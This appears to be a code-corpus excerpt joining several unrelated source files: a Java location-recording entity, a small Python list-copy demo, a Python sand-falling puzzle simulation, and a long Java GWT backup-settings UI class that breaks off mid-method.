package edu.uncw.whereami; import java.util.Date; import io.objectbox.annotation.Entity; import io.objectbox.annotation.Id; @Entity public class LocationRecording { @Id private long id; private Date timestamp; private double latitude; private double longitude; private double acc; public LocationRecording(Date timestamp, double latitude, double longitude, double acc) { this.timestamp = timestamp; this.latitude = latitude; this.longitude = longitude; this.acc = acc; } public LocationRecording(long id, Date timestamp, double latitude, double longitude, double acc) { this.id = id; this.timestamp = timestamp; this.latitude = latitude; this.longitude = longitude; this.acc = acc; } public long getId() { return id; } public void setId(long id) { this.id = id; } public Date getTimestamp() { return timestamp; } public void setTimestamp(Date timestamp) { this.timestamp = timestamp; } public double getLatitude() { return latitude; } public void setLatitude(double latitude) { this.latitude = latitude; } public double getLongitude() { return longitude; } public void setLongitude(double longitude) { this.longitude = longitude; } public double getAcc() { return acc; } public void setAcc(double acc) { this.acc = acc; } }
Python
UTF-8
164
3.03125
3
[]
no_license
# -*- coding: utf-8 -*- """ Created on Thu Aug 29 12:42:15 2019 @author: chen """ import copy a = [0,1,2,3,45,6] b = a b = b + [1,1,1,1,1,1] print(a,'\n') print(b)
Python
UTF-8
3,666
3.171875
3
[]
no_license
import copy from typing import Generic, Optional, Union from util.parse import * from util.tile_map import TileMap from util.utils import chunk, pairwise parse_input = compose( get_ints, map_func(lambda line: list(chunk(line, 2))), ) class LazyTileMap(Generic[T]): """ A two-dimensional grid of a generic type, without a hard boundary. Only tiles that are not empty are kept in memory. """ def __init__( self, initial_content: dict[tuple[int, int], T] = {}, filler: T = None, ) -> None: self.state = copy.deepcopy(initial_content) self.filler = filler def get_at( self, x: int, y: int, safe: bool = True, ) -> T: """ Return the value at the given x and y coordinates. Returns the filler value if the coordinate is empty. """ if (x, y) in self.state: return self.state[(x, y)] return self.filler def set_at(self, x: int, y: int, new_value: T) -> None: """ Set the given value at the given x and y coordinates. Deletes the value from memory, if new_value is equal to the filler value. """ if new_value == self.filler: del self.state[(x, y)] else: self.state[(x, y)] = new_value def print(self) -> None: xs = set(coord[0] for coord in self.state.keys()) ys = set(coord[1] for coord in self.state.keys()) for y in range(min(ys), max(ys)): print("".join( self.get_at(x, y) for x in range(min(xs), max(xs) + 1) )) Coord = tuple[int, int] RockPath = list[Coord] CaveMap = Union[TileMap[str], LazyTileMap[str]] def draw_map(rock_paths: list[list[tuple[int, int]]]) -> CaveMap: xs = [ coord[0] for path in rock_paths for coord in path ] ys = [ coord[1] for path in rock_paths for coord in path ] if any(dim < 0 for dim in xs + ys): raise Exception(f"Unexpected negative dim") max_x = max(xs) max_y = max(ys) map_state = [] for _y in range(max_y + 1): row = [] for _x in range(max_x + 1): row.append(".") map_state.append(row) map = TileMap(map_state) i = 0 for rock_path in rock_paths: for start_coord, end_coord in pairwise(rock_path): start_coord, end_coord = list(sorted([start_coord, end_coord])) sx, sy = start_coord ex, ey = end_coord path_coords: Iterable[tuple[int, int]] if sx != ex: path_coords = ( (x, sy) for x in range(sx, ex + 1) ) else: path_coords = ( (sx, y) for y in range(sy, ey + 1) ) for x, y in path_coords: i += 1 map.set_at(x, y, "#") return map def simulate_sand( map: CaveMap, floor_height: Optional[int] = None ) -> int: map = copy.deepcopy(map) sand_source = (500, 0) sand_count = 0 while True: if map.get_at(*sand_source) == "o": map.print() return sand_count sand_x, sand_y = sand_source while map.get_at(sand_x, sand_y, safe=True) == ".": new_pos_candidates = [ (sand_x, sand_y + 1), (sand_x - 1, sand_y + 1), (sand_x + 1, sand_y + 1), ] for new_x, new_y in new_pos_candidates: if floor_height is None: if not map.contains_coordinates(new_x, new_y): return sand_count elif new_y >= floor_height: continue if map.get_at(new_x, new_y, safe=True) == ".": sand_x = new_x sand_y = new_y break else: break map.set_at(sand_x, sand_y, "o") sand_count += 1 def part1(rock_paths: list[RockPath]) -> int: return simulate_sand(draw_map(rock_paths)) def part2(rock_paths: list[RockPath]) -> int: map = LazyTileMap( { (x, y): val for val, x, y in draw_map(rock_paths).walk() if val != "." }, ".", ) floor_height = max(y for _x, y in map.state.keys()) + 2 return simulate_sand(map, floor_height)
Java
UTF-8
48,027
1.546875
2
[]
no_license
package com.ca.arcflash.ui.client.backup; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.Map; import com.ca.arcflash.ui.client.UIContext; import com.ca.arcflash.ui.client.backup.advschedule.BackupScheduleTabItem; import com.ca.arcflash.ui.client.backup.schedule.DailyScheduleDetailItemModel; import com.ca.arcflash.ui.client.backup.schedule.ScheduleDetailItemModel; import com.ca.arcflash.ui.client.common.BaseAsyncCallback; import com.ca.arcflash.ui.client.common.BaseCommonSettingTab; import com.ca.arcflash.ui.client.common.BaseLicenseAsyncCallback; import com.ca.arcflash.ui.client.common.ExtCardPanel; import com.ca.arcflash.ui.client.common.IRefreshable; import com.ca.arcflash.ui.client.common.ISettingsContent; import com.ca.arcflash.ui.client.common.ISettingsContentHost; import com.ca.arcflash.ui.client.common.SettingsGroupType; import com.ca.arcflash.ui.client.common.UserPasswordWindow; import com.ca.arcflash.ui.client.common.Utils; import com.ca.arcflash.ui.client.common.d2d.presenter.BackupSettingPresenter; import com.ca.arcflash.ui.client.common.d2d.presenter.SettingPresenter; import com.ca.arcflash.ui.client.exception.BusinessLogicException; import com.ca.arcflash.ui.client.model.AccountModel; import com.ca.arcflash.ui.client.model.BackupScheduleIntervalUnitModel; import com.ca.arcflash.ui.client.model.BackupScheduleModel; import com.ca.arcflash.ui.client.model.BackupSettingsModel; import com.ca.arcflash.ui.client.model.BackupTypeModel; import com.ca.arcflash.ui.client.model.BackupVolumeModel; import com.ca.arcflash.ui.client.model.D2DTimeModel; import com.ca.arcflash.ui.client.model.DestinationCapacityModel; import com.ca.arcflash.ui.client.model.IEmailConfigModel; import com.ca.arcflash.ui.client.model.RetentionPolicyModel; import com.ca.arcflash.ui.client.model.SRMAlertSettingModel; import com.ca.arcflash.ui.client.service.Broker; import com.extjs.gxt.ui.client.Style.HorizontalAlignment; import com.extjs.gxt.ui.client.Style.Orientation; import com.extjs.gxt.ui.client.Style.VerticalAlignment; import com.extjs.gxt.ui.client.core.FastMap; import com.extjs.gxt.ui.client.event.Listener; import com.extjs.gxt.ui.client.event.MessageBoxEvent; import com.extjs.gxt.ui.client.event.WindowEvent; import com.extjs.gxt.ui.client.event.WindowListener; import com.extjs.gxt.ui.client.util.DateWrapper; import com.extjs.gxt.ui.client.util.Format; import com.extjs.gxt.ui.client.widget.Dialog; import com.extjs.gxt.ui.client.widget.LayoutContainer; import com.extjs.gxt.ui.client.widget.MessageBox; import com.extjs.gxt.ui.client.widget.VerticalPanel; import com.extjs.gxt.ui.client.widget.layout.RowData; import com.extjs.gxt.ui.client.widget.layout.RowLayout; import com.google.gwt.core.client.GWT; import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.user.client.ui.AbstractImagePrototype; import com.google.gwt.user.client.ui.ToggleButton; import com.google.gwt.user.client.ui.Widget; public class BackupSettingsContent extends LayoutContainer implements ISettingsContent { protected BackupSettingsContent outerThis; protected ISettingsContentHost contentHost; public ISettingsContentHost getContentHost() { return contentHost; } public static final int DEFAULT_RETENTION_COUNT = 31; //AdvancedScheduleSettings schedule; protected RepeatAdvancedScheduleSettings schedule; PeriodAdvancedScheduleSettings periodSchedule; private BackupSettings settings; private AdvancedSettings advanced; private ScheduleSummaryPanel schedueSummary; private ScheduleSettings simpleSchedule; private BackupScheduleTabItem advScheduleItem; private BaseDestinationSettings destination; protected LayoutContainer destinationContainer; LayoutContainer scheduleContainer; LayoutContainer settingsContainer; LayoutContainer advancedContainer; public List<String> itemsToDisplay = new ArrayList<String>(); public ScheduleSettings getSimpleSchedule(){ return simpleSchedule; } public BackupScheduleTabItem getAdvScheduleItem() { return advScheduleItem; } public ExtCardPanel deckPanel; protected ToggleButton scheduleButton; protected ToggleButton settingsButton; protected ToggleButton advancedButton; protected ToggleButton destinationButton; protected ToggleButton scheduleLabel; protected ToggleButton settingsLabel; protected ToggleButton advancedLabel; protected ToggleButton destinationLabel; private ClickHandler scheduleButtonHandler; private ClickHandler settingsButtonHandler; private ClickHandler advancedButtonHandler; private ClickHandler destinationButtonHandler; protected VerticalPanel toggleButtonPanel; // public BackupSettingsModel model; public DestinationCapacityModel destModel; public static final int STACK_DESTINATION = 0; //public final int STACK_SCHEDULE = 1; public static final int STACK_SETTINGS = 2; public static final int STACK_ADVANCED = 3; //public final int STACK_SELFUPDATE = 4; //public final int STACK_EMAILALERT = 4; public static final int STACK_REPEAT = 4; public static final int STACK_PERIODICALLY = 5; public static final int STACK_STACK_SCHEDULE_SUMMARRY = 6; public static final int STACK_SCHEDULE_SIMPLE = 7; public static final int STACK_SCHEDULE_Adv = 8; public static final long AF_ERR_DEST_SYSVOL = 3758096417l; public static final long AF_ERR_DEST_BOOTVOL = 3758096418l; public static final String ERR_REMOTE_DEST_WINSYSMSG = "17179869199"; // //When validate backend failed with 17179869199, we let user try to input username/password again. // private boolean firstTry = true; private static int buttonSelected; private String refsVolList; private Boolean isAllVolumeIsRefsOrDedup = false; protected SettingsGroupType settingsGroupType; public Map<String, LayoutContainer> map = new FastMap<LayoutContainer>(); public Boolean getIsAllVolumeIsRefsOrDedup() { return isAllVolumeIsRefsOrDedup; } public void setIsAllVolumeIsRefsOrDedup(Boolean isAllVolumeIsRefsOrDedup) { this.isAllVolumeIsRefsOrDedup = isAllVolumeIsRefsOrDedup; } public BaseDestinationSettings getDestination() { return destination; } public void setDestination(BaseDestinationSettings destination) { this.destination = destination; } private BackupSettingPresenter backupSettingPresenter; public BackupSettingsContent() { outerThis = this; backupSettingPresenter = new BackupSettingPresenter(this); } public void focusPanel(int index){ deckPanel.showWidget(index); } public String getRefsVolList() { return refsVolList; } public void setRefsVolList(String refsVolList) { this.refsVolList = refsVolList; } public static int getButtonSelected() { return buttonSelected; } public static void setButtonSelected(int buttonSelected) { BackupSettingsContent.buttonSelected = buttonSelected; } protected void addPanels(LayoutContainer contentPanel) { contentPanel.add( toggleButtonPanel, new RowData( 140, 1 ) ); contentPanel.add( deckPanel, new RowData( 1, 1 ) ); this.add( contentPanel, new RowData( 1, 1 ) ); } protected void setLayout(LayoutContainer contentPanel) { this.setLayout( new RowLayout( Orientation.VERTICAL ) ); contentPanel.setLayout( new RowLayout( Orientation.HORIZONTAL ) ); } protected void doInitialization() { LayoutContainer contentPanel = new LayoutContainer(); setLayout(contentPanel); this.setStyleAttribute("background-color","#DFE8F6"); deckPanel = new ExtCardPanel(); //deckPanel.setWidth("100%"); //deckPanel.setHeight("100%"); deckPanel.setStyleName("backupSettingCenter"); createDestinationSettings(); destinationContainer.setStyleAttribute("padding", "10px"); deckPanel.add(destinationContainer); itemsToDisplay.add(UIContext.Constants.backupSettingsDestination()); AdvancedScheduleSettings schedule1 = new AdvancedScheduleSettings(this); scheduleContainer = new LayoutContainer(); scheduleContainer.add(schedule1.Render()); scheduleContainer.setStyleAttribute("padding", "10px"); scheduleContainer.setStyleName("backupsetting_schedule_panel"); deckPanel.add(scheduleContainer); itemsToDisplay.add(UIContext.Constants.backupSettingsSchedule()); settings = new BackupSettings(this); settingsContainer = new LayoutContainer(); settingsContainer.add(settings.Render()); settingsContainer.setStyleAttribute("padding", "10px"); settingsContainer.setStyleName("backupsetting_inner_panel"); deckPanel.add(settingsContainer); itemsToDisplay.add(UIContext.Constants.backupSettingsSettings()); advanced = new AdvancedSettings(this, settingsGroupType); advancedContainer = new LayoutContainer(); advancedContainer.add(advanced.Render()); advancedContainer.setStyleAttribute("padding", "10px"); deckPanel.add(advancedContainer); itemsToDisplay.add(UIContext.Constants.backupSettingsPrePost()); schedule = new RepeatAdvancedScheduleSettings(this); LayoutContainer repeatContainer = new LayoutContainer(); repeatContainer.add(schedule.Render()); repeatContainer.setStyleName("backupsetting_schedule_panel"); repeatContainer.setStyleAttribute("padding", "10px"); deckPanel.add(repeatContainer); periodSchedule = new PeriodAdvancedScheduleSettings(this); LayoutContainer periodContainer = new LayoutContainer(); periodContainer.add(periodSchedule.Render()); periodContainer.setStyleAttribute("padding", "10px"); deckPanel.add(periodContainer); schedueSummary = new ScheduleSummaryPanel(); // LayoutContainer schedueSummaryContainer = new LayoutContainer(); // schedueSummaryContainer.add(schedueSummary.Render()); //schedueSummaryContainer.setStyleAttribute("padding", "10px"); deckPanel.add(schedueSummary); simpleSchedule = new ScheduleSettings(this, settingsGroupType); LayoutContainer simpleScheduleContainer = new LayoutContainer(); simpleScheduleContainer.add(simpleSchedule.Render()); deckPanel.add(simpleScheduleContainer); advScheduleItem = new BackupScheduleTabItem(settingsGroupType); LayoutContainer advScheduleItemContainer = new LayoutContainer(); advScheduleItemContainer.add(advScheduleItem); deckPanel.add(advScheduleItemContainer); toggleButtonPanel = new VerticalPanel(); toggleButtonPanel.setVerticalAlign(VerticalAlignment.MIDDLE); toggleButtonPanel.setHorizontalAlign(HorizontalAlignment.CENTER); toggleButtonPanel.setTableWidth("100%"); //toggleButtonPanel.setHeight(520); toggleButtonPanel.setStyleAttribute("background-color","#DFE8F6"); // destinationButton = new ToggleButton(UIContext.IconBundle.backupDestination().createImage()); destinationButton = new ToggleButton(AbstractImagePrototype.create(UIContext.IconBundle.backup_settings_protection()).createImage()); destinationButton.setStylePrimaryName("demo-ToggleButton"); destinationButton.setDown(true); destinationButton.ensureDebugId("942CA081-3A72-4dc5-A100-F4709EDAC891"); destinationButtonHandler = new ClickHandler(){ @Override public void onClick(ClickEvent event) { deckPanel.showWidget(STACK_DESTINATION); destinationButton.setDown(true); advancedButton.setDown(false); settingsButton.setDown(false); scheduleButton.setDown(false); //selfUpdateSettingsButton.setDown(false); destinationLabel.setDown(true); advancedLabel.setDown(false); settingsLabel.setDown(false); scheduleLabel.setDown(false); setButtonSelected(1); //selfUpdateSettingsLabel.setDown(false); // Updating heading. contentHost.setCaption(UIContext.Messages.backupSettingsWindowWithTap( UIContext.Constants.backupSettingsDestination())); } }; scheduleButtonHandler = new ClickHandler(){ @Override public void onClick(ClickEvent event) { // deckPanel.showWidget(STACK_SCHEDULE); deckPanel.showWidget(STACK_REPEAT); destinationButton.setDown(false); advancedButton.setDown(false); settingsButton.setDown(false); scheduleButton.setDown(true); //selfUpdateSettingsButton.setDown(false); destinationLabel.setDown(false); advancedLabel.setDown(false); settingsLabel.setDown(false); scheduleLabel.setDown(true); setButtonSelected(2); // Updating heading. contentHost.setCaption(UIContext.Messages.backupSettingsWindowWithTap( UIContext.Constants.backupSettingsSchedule())); } }; settingsButtonHandler = new ClickHandler(){ @Override public void onClick(ClickEvent event) { deckPanel.showWidget(STACK_SETTINGS); destinationButton.setDown(false); advancedButton.setDown(false); settingsButton.setDown(true); scheduleButton.setDown(false); //selfUpdateSettingsButton.setDown(false); destinationLabel.setDown(false); advancedLabel.setDown(false); settingsLabel.setDown(true); scheduleLabel.setDown(false); setButtonSelected(3); // Updating heading. contentHost.setCaption(UIContext.Messages.backupSettingsWindowWithTap( UIContext.Constants.backupSettingsSettings())); } }; advancedButtonHandler = new ClickHandler(){ @Override public void onClick(ClickEvent event) { deckPanel.showWidget(STACK_ADVANCED); destinationButton.setDown(false); advancedButton.setDown(true); settingsButton.setDown(false); scheduleButton.setDown(false); //selfUpdateSettingsButton.setDown(false); destinationLabel.setDown(false); advancedLabel.setDown(true); settingsLabel.setDown(false); scheduleLabel.setDown(false); setButtonSelected(4); // Updating heading. contentHost.setCaption(UIContext.Messages.backupSettingsWindowWithTap( UIContext.Constants.backupSettingsAdvanced())); } }; destinationButton.addClickHandler(destinationButtonHandler); toggleButtonPanel.add(destinationButton); destinationLabel = new ToggleButton(UIContext.Constants.backupSettingsDestination()); destinationLabel.ensureDebugId("D9BB83E8-A767-4629-A912-556E6F4E720E"); destinationLabel.setStylePrimaryName("tb-settings"); destinationLabel.setDown(true); destinationLabel.addClickHandler(destinationButtonHandler); toggleButtonPanel.add(destinationLabel); // scheduleButton = new ToggleButton(UIContext.IconBundle.backupSchedule().createImage()); scheduleButton = new ToggleButton(AbstractImagePrototype.create(UIContext.IconBundle.backup_settings_schedule()).createImage()); scheduleButton.ensureDebugId("BE7BB55F-5050-4b35-AFC0-B58705423C6C"); scheduleButton.setStylePrimaryName("demo-ToggleButton"); scheduleButton.addClickHandler(scheduleButtonHandler); toggleButtonPanel.add(scheduleButton); scheduleLabel = new ToggleButton(UIContext.Constants.backupSettingsSchedule()); scheduleLabel.ensureDebugId("4F6A8B91-0A7A-4994-964D-AC7A3190610A"); scheduleLabel.setStylePrimaryName("tb-settings"); scheduleLabel.addClickHandler(scheduleButtonHandler); toggleButtonPanel.add(scheduleLabel); // settingsButton = new ToggleButton(UIContext.IconBundle.backupSettings().createImage()); settingsButton = new ToggleButton(AbstractImagePrototype.create(UIContext.IconBundle.backup_settings_settings()).createImage()); settingsButton.ensureDebugId("B38DF4DF-80AE-4b76-950C-1AE677D7BE0B"); settingsButton.setStylePrimaryName("demo-ToggleButton"); settingsButton.addClickHandler(settingsButtonHandler); toggleButtonPanel.add(settingsButton); settingsLabel = new ToggleButton(UIContext.Constants.backupSettingsSettings()); settingsLabel.ensureDebugId("1AC09A83-8A01-4552-ADAF-CBBBD4146E90"); settingsLabel.setStylePrimaryName("tb-settings"); settingsLabel.addClickHandler(settingsButtonHandler); toggleButtonPanel.add(settingsLabel); // advancedButton = new ToggleButton(UIContext.IconBundle.backupAdvanced().createImage()); advancedButton = new ToggleButton(AbstractImagePrototype.create(UIContext.IconBundle.backup_settings_advanced()).createImage()); advancedButton.ensureDebugId("E684DAA6-914F-482e-BB00-A0012D180B13"); advancedButton.setStylePrimaryName("demo-ToggleButton"); advancedButton.addClickHandler(advancedButtonHandler); toggleButtonPanel.add(advancedButton); advancedLabel = new ToggleButton(UIContext.Constants.backupSettingsAdvanced()); advancedLabel.ensureDebugId("3A89A05C-EC63-49c0-898C-7841AF5178B8"); advancedLabel.setStylePrimaryName("tb-settings"); advancedLabel.addClickHandler(advancedButtonHandler); toggleButtonPanel.add(advancedLabel); addPanels(contentPanel); // Default Tab - destination. contentHost.setCaption(UIContext.Messages.backupSettingsWindowWithTap( UIContext.Constants.backupSettingsDestination())); //Load the Backup Settings deckPanel.showWidget(STACK_DESTINATION); } protected void createDestinationSettings() { destination = new D2DDestinationSettings(this); destination.setContentHost(contentHost); destinationContainer = new LayoutContainer(); destinationContainer.add(destination.Render()); } public void updateNotification() { if(settings != null) settings.updateNotificationSet(); } ////////////////////////////////////////////////////////////////////////// /** * This method can be only used for disable edit. * Don't use method to enable edit. Enable this edit using this method will make UI value wrong. */ public void enableEditing( boolean isEnabled ) { //this.destinationContainer.setEnabled( isEnabled ); this.destination.setEditable(isEnabled); this.schedule.setEditable(isEnabled); this.settings.setEditable(isEnabled); this.advanced.setEditable(isEnabled); //this.periodSchedule.setEditable(isEnabled); this.simpleSchedule.setEditable(isEnabled); this.advScheduleItem.setEditable(isEnabled); } public void RefreshData() { schedule.RefreshData(SettingPresenter.model, backupSettingFileExist, !destination.backupToRPS()); settings.RefreshData(SettingPresenter.model, backupSettingFileExist); advanced.RefreshData(SettingPresenter.model); destination.RefreshData(SettingPresenter.model, backupSettingFileExist); schedueSummary.RefreshData(SettingPresenter.model); simpleSchedule.RefreshData(SettingPresenter.model); //periodSchedule.RefreshData(SettingPresenter.model, backupSettingFileExist); advScheduleItem.RefreshData(SettingPresenter.model, backupSettingFileExist, !destination.backupToRPS()); } boolean backupSettingFileExist = false; public void LoadSettings() { BaseAsyncCallback<BackupSettingsModel> callback = new BaseAsyncCallback<BackupSettingsModel>(){ @Override public void onFailure(Throwable caught) { super.onFailure(caught); onLoadingCompleted(false); } @Override public void onSuccess(BackupSettingsModel result) { // TODO Auto-generated method stub if (result != null) { backupSettingFileExist = true; SettingPresenter.model = result; outerThis.RefreshData(); onLoadingCompleted(true); } else { loadDefaultSettings(); } } }; fetchDataFromServer(callback); } //VSPHERE Settings Use the two API: over write the two API in the VSphereBackupSettingContent protected void fetchDataFromServer( BaseAsyncCallback<BackupSettingsModel> callback) { } protected void saveBackupConfiguration() throws Exception { } // protected void loadDefaultSettings() { Broker.loginService.getAdminAccount(new BaseAsyncCallback<AccountModel>() { @Override public void onFailure(Throwable caught) { //the administrator account may does not exist. setServerTimeAndRepaint(null); } @Override public void onSuccess(AccountModel result) { setServerTimeAndRepaint(result); } private void setServerTimeAndRepaint( final AccountModel accountModel) { Broker.loginService.getServerTime(new BaseAsyncCallback<Date>() { @Override public void onSuccess(Date result) { SettingPresenter.model = getDefaultModel(); long serverTimeInMilliseconds = result.getTime(); //set backup start time plus 5 minutes serverTimeInMilliseconds += 5 * 60 * 1000; SettingPresenter.model.setBackupStartTime(serverTimeInMilliseconds); if(accountModel != null) { SettingPresenter.model.setAdminUserName(accountModel.getUserName()); SettingPresenter.model.setAdminPassword(accountModel.getPassword()); } D2DTimeModel time = new D2DTimeModel(); Date serverDate = Utils.localTimeToServerTime(new Date(serverTimeInMilliseconds)); time.fromJavaDate(serverDate); SettingPresenter.model.startTime = time; outerThis.RefreshData(); onLoadingCompleted(true); } @Override public void onFailure(Throwable caught) { super.onFailure(caught); onLoadingCompleted(false); } }); } }); } private BackupSettingsModel getDefaultModel() { //fix 18898048 backupSettingFileExist = false; BackupSettingsModel model = SettingPresenter.model = createNewSettingModel(); BackupVolumeModel backupVolumes = new BackupVolumeModel(); backupVolumes.setIsFullMachine(Boolean.TRUE); model.setBackupVolumes(backupVolumes); model.fullSchedule = new BackupScheduleModel(); model.fullSchedule.setEnabled(false); model.incrementalSchedule = new BackupScheduleModel(); model.incrementalSchedule.setEnabled(true); model.incrementalSchedule.setInterval(1); model.incrementalSchedule.setIntervalUnit(BackupScheduleIntervalUnitModel.Day); model.resyncSchedule = new BackupScheduleModel(); model.resyncSchedule.setEnabled(false); model.setRetentionCount(DEFAULT_RETENTION_COUNT); model.setCompressionLevel(1); //Standard model.setEnableEncryption(false); model.setPurgeSQLLogDays(0L); model.setPurgeExchangeLogDays(0L); model.setExchangeGRTSetting(1L); model.setSharePointGRTSetting(0L); SRMAlertSettingModel alertModel = new SRMAlertSettingModel(); alertModel.getDefaultValue(); model.setSrmAlertSetting(alertModel); return model; } protected BackupSettingsModel createNewSettingModel() { return new BackupSettingsModel(); } // protected void validateSchedule(final D2DTimeModel time) { // // Broker.commonService.validateBackupStartTime(time.getYear(), time.getMonth(), // time.getDay(), time.getHourOfDay(), time.getMinute(), new BaseAsyncCallback<Long>(){ // @Override // public void onFailure(Throwable caught) { // if(caught instanceof BusinessLogicException) { // final BusinessLogicException ble = (BusinessLogicException)caught; // if(ble.getErrorCode() != null&& ble.getErrorCode().equals("-1")){ // MessageBox msg = new MessageBox(); // msg.setIcon(MessageBox.ERROR); // msg.setTitle(UIContext.Messages.messageBoxTitleError(UIContext.productNameD2D)); // String[] timearr = formatStartTimeErrorMsg(time.getHourOfDay()); // msg.setMessage(UIContext.Messages.settingDSTStartTime(timearr[0], // timearr[0] + "-" + timearr[1])); // msg.setModal(true); // msg.show(); // scheduleValidateFail(); // }else if(ble.getErrorCode() != null // && ble.getErrorCode().equals("-2")) { // MessageBox msg = new MessageBox(); // msg.setIcon(MessageBox.WARNING); // msg.setButtons(MessageBox.YESNO); // msg.setTitle(UIContext.Messages.messageBoxTitleError(UIContext.productNameD2D)); // String[] timearr = formatStartTimeErrorMsg(time.getHourOfDay()); // msg.setMessage(UIContext.Messages.settingDSTEndTime( // timearr[1], timearr[0] + "-" + timearr[1], // UIContext.productNameD2D)); // msg.setModal(true); // msg.addCallback(new Listener<MessageBoxEvent>(){ // // @Override // public void handleEvent(MessageBoxEvent be) { // if(be.getButtonClicked().getItemId().equals(Dialog.YES)) { // schedule.Save(Long.parseLong(ble.getDisplayMessage())); // validateAfterSchedule(); // }else { // scheduleValidateFail(); // } // } // }); // msg.show(); // } // }else{ // schedule.Save(-1); // validateAfterSchedule(); // } // } // // @Override // public void onSuccess(Long result) { // schedule.Save(result); // validateAfterSchedule(); // } // }); // } void validateUISettings() { //model = new BackupSettingsModel(); if (advanced.Validate()) { this.advanced.Save(); } else { deckPanel.showWidget(STACK_ADVANCED); SettingPresenter.getInstance().setCurrentIndex(BaseCommonSettingTab.d2dBackupSettingID, STACK_ADVANCED); this.repaint(); // fix Issue: 20238307 Title: UI MIXED AFTER LICE MSG BOX //layout.setActiveItem(advancedContainer); this.contentHost.showSettingsContent( this.settingsContentId ); this.onValidatingCompleted(false); return; } if (destination.Validate()) { this.destination.Save(); } else { deckPanel.showWidget(STACK_DESTINATION); this.repaint(); // fix Issue: 20238307 Title: UI MIXED AFTER LICE MSG BOX SettingPresenter.getInstance().setCurrentIndex(BaseCommonSettingTab.d2dBackupSettingID, STACK_DESTINATION); //layout.setActiveItem(destinationContainer); this.contentHost.showSettingsContent( this.settingsContentId ); this.onValidatingCompleted(false); return; } if (SettingPresenter.getInstance().isAdvSchedule()) { // if (schedule.Validate()) { // model.fullSchedule = null; // model.incrementalSchedule = null; // model.resyncSchedule = null; // schedule.Save(-1); // } else { // // deckPanel.showWidget(STACK_SCHEDULE); // deckPanel.showWidget(STACK_REPEAT); // SettingPresenter.getInstance().setCurrentIndex(BaseCommonSettingTab.d2dBackupSettingID, STACK_REPEAT); // this.repaint(); // this.contentHost.showSettingsContent(this.settingsContentId); // this.onValidatingCompleted(false); // return; // } // // // if (this.periodSchedule.Validate()) { // periodSchedule.Save(-1); // } else { // // deckPanel.showWidget(STACK_SCHEDULE); // deckPanel.showWidget(this.STACK_PERIODICALLY); // SettingPresenter.getInstance().setCurrentIndex(BaseCommonSettingTab.d2dBackupSettingID, STACK_PERIODICALLY); // this.repaint(); // this.contentHost.showSettingsContent(this.settingsContentId); // this.onValidatingCompleted(false); // return; // } if (this.advScheduleItem.validate()) { advScheduleItem.buildValue(SettingPresenter.model); } else { deckPanel.showWidget(STACK_SCHEDULE_Adv); SettingPresenter.getInstance().setCurrentIndex(BaseCommonSettingTab.d2dBackupSettingID, STACK_SCHEDULE_Adv); this.repaint(); this.contentHost.showSettingsContent(this.settingsContentId); this.onValidatingCompleted(false); return; } } else { SettingPresenter.model.advanceScheduleModel = null; if(simpleSchedule.Validate()){ simpleSchedule.Save(UIContext.serverVersionInfo.getTimeZoneOffset()); } } validateAfterSchedule(); } // private String[] formatStartTimeErrorMsg(int hour) { // //hour is start time, we also need to compute the DST end time // boolean isAM = false; // boolean endAM = false; // int endHour = 0; // if( !Utils.is24Hours() ){ //for 12 hours // if( Utils.minHour() == 0 ){ // for 0-11 clock // if( hour < 12 ){ // for am // isAM = true; // endHour = hour + 1; // if(endHour == 12) { // endAM = false; // endHour = 0; // }else { // endAM = true; // } // } // else{ // for pm // isAM = false; // if( hour == 12 ) // translate 12:30 to 0:30 pm // hour = 0; // else // hour = hour - 12; // translate 18:30 to 6:30 pm // endHour = hour + 1; // endAM = false; // if(endHour == 12) { // endHour = 0; // endAM = true; // } // } // } // else{ // for 1-12 clock // if( hour < 12 ){ // for am // isAM = true; // endHour = hour + 1; // endAM = true; // if(endHour == 12) { // endAM = false; // } // if( hour == 0 ) // translate 0:30 to 12:30 am // hour = 12; // } // else{ // for pm // isAM = false; // if( hour != 12 ){ // translate 12:30 to 12:30 pm // hour -= 12; // endHour = hour + 1; // endAM = false; // if(endHour == 12) // endAM = true; // } // else { // endHour = 1; // endAM = false; // } // } // } // } // else{ //for 24 hours // if( Utils.minHour() == 1) // for 1-24 clock // { // if( hour == 0 ) // translate 0:30 to 24:30 // hour = 24; // endHour = hour + 1; // if(endHour > 24) // endHour -= 24; // }else { // endHour = hour + 1; // if(endHour == 24) // endHour = 0; // } // } // // String start = hourToString(hour, isAM); // String end = hourToString(endHour, endAM); // return new String[]{start, end}; // } // private String hourToString(int hour, boolean isAM) { // String hourVal = ""; // if( Utils.isHourPrefix() ) // hourVal = Utils.prefixZero( hour, 2 ) + ":00"; // else // hourVal = Integer.toString(hour) + ":00"; // // if(!Utils.is24Hours()) { // if(isAM) // hourVal += UIContext.Constants.scheduleStartTimeAM(); // else // hourVal += UIContext.Constants.scheduleStartTimePM(); // } // // return hourVal; // } // // private void scheduleValidateFail() { // //deckPanel.showWidget(STACK_SCHEDULE); // deckPanel.showWidget(STACK_REPEAT); // this.repaint(); // fix Issue: 20238307 Title: UI MIXED AFTER LICE MSG BOX // // //layout.setActiveItem(scheduleContainer); // this.contentHost.showSettingsContent( this.settingsContentId ); // this.onValidatingCompleted(false); // return; // } boolean validateAfterSchedule() { if (settings.Validate()) { this.settings.Save(); } else { deckPanel.showWidget(STACK_SETTINGS); //layout.setActiveItem(settingsContainer); SettingPresenter.getInstance().setCurrentIndex(BaseCommonSettingTab.d2dBackupSettingID, STACK_SETTINGS); this.contentHost.showSettingsContent( this.settingsContentId ); this.onValidatingCompleted(false); return false; } checkVolumeAndSavingSettings(); return true; } protected void checkVolumeAndSavingSettings() { if(((BackupDestinationSettings)destination).isVolumeSelectionChanges()) { MessageBox mb = new MessageBox(); mb.setIcon(MessageBox.WARNING); mb.setButtons(MessageBox.YESNO); mb.setTitleHtml(UIContext.Messages.messageBoxTitleWarning(UIContext.productNameD2D)); mb.setMessage(UIContext.Constants.backupSettingsVolumeSelectionChanges()); Utils.setMessageBoxDebugId(mb); mb.addCallback(new Listener<MessageBoxEvent>() { public void handleEvent(MessageBoxEvent be) { if (be.getButtonClicked().getItemId().equals(Dialog.YES)) //Save(); saveAllSettings(); else onValidatingCompleted(false); } }); mb.show(); } else { saveAllSettings(); } } protected void saveAllSettings() { contentHost.increaseBusyCount(UIContext.Constants.settingsMaskText()); validateBackendSetings(); } private boolean validateBackendSetings() { return this.backupSettingPresenter.validate(); // Broker.loginService.validateBackupConfiguration(outerThis.model, // new 